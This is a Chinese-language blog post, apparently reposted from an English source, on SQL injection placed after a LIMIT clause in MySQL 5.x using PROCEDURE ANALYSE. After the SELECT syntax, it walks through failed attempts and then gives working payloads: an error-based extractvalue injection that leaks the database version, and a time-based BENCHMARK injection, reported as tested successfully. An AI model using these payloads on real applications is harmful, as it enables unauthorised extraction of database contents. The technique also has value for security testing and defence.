MySQL 在 LIMIT 条件后注入

from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

此方法适用于MySQL 5.x中，在limit语句后面的注入
例如：

SELECT

[ALL | DISTINCT | DISTINCTROW ]

[HIGH_PRIORITY]

[STRAIGHT_JOIN]

[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]

[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]

select_expr [, select_expr …]

[FROM table_references

[WHERE where_condition]

[GROUP BY {col_name | expr | position}

[ASC | DESC], … [WITH ROLLUP]]

[HAVING where_condition]

[ORDER BY {col_name | expr | position}

[ASC | DESC], …]

[LIMIT {[offset,] row_count | row_count OFFSET offset}]

[PROCEDURE procedure_name(argument_list)]

[INTO OUTFILE ‘file_name’ export_options

| INTO DUMPFILE ‘file_name’

| INTO var_name [, var_name]]

[FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数，PROCEDURE 和 INTO，INTO除非有写入shell的权限，否则是无法利用的，那么使用PROCEDURE函数能否注入呢？

Let’s give it a try:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);

ERROR 1386 (HY000): Can’t use ORDER clause with this procedure

ANALYSE可以有两个参数：

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);

ERROR 1386 (HY000): Can’t use ORDER clause with this procedure

看起来并不是很好，继续尝试：
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure
analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
但是立即返回了一个错误信息：
ERROR 1108 (HY000): Incorrect parameters to procedure ‘analyse’
sleep函数肯定没有执行，但是最终我还是找到了可以攻击的方式：
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.41-0ubuntu0.14.04.1′
如果不支持报错注入的话，还可以基于时间注入：
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
直接使用sleep不行，需要用BENCHMARK代替。

PS：测试成功，无图无真相：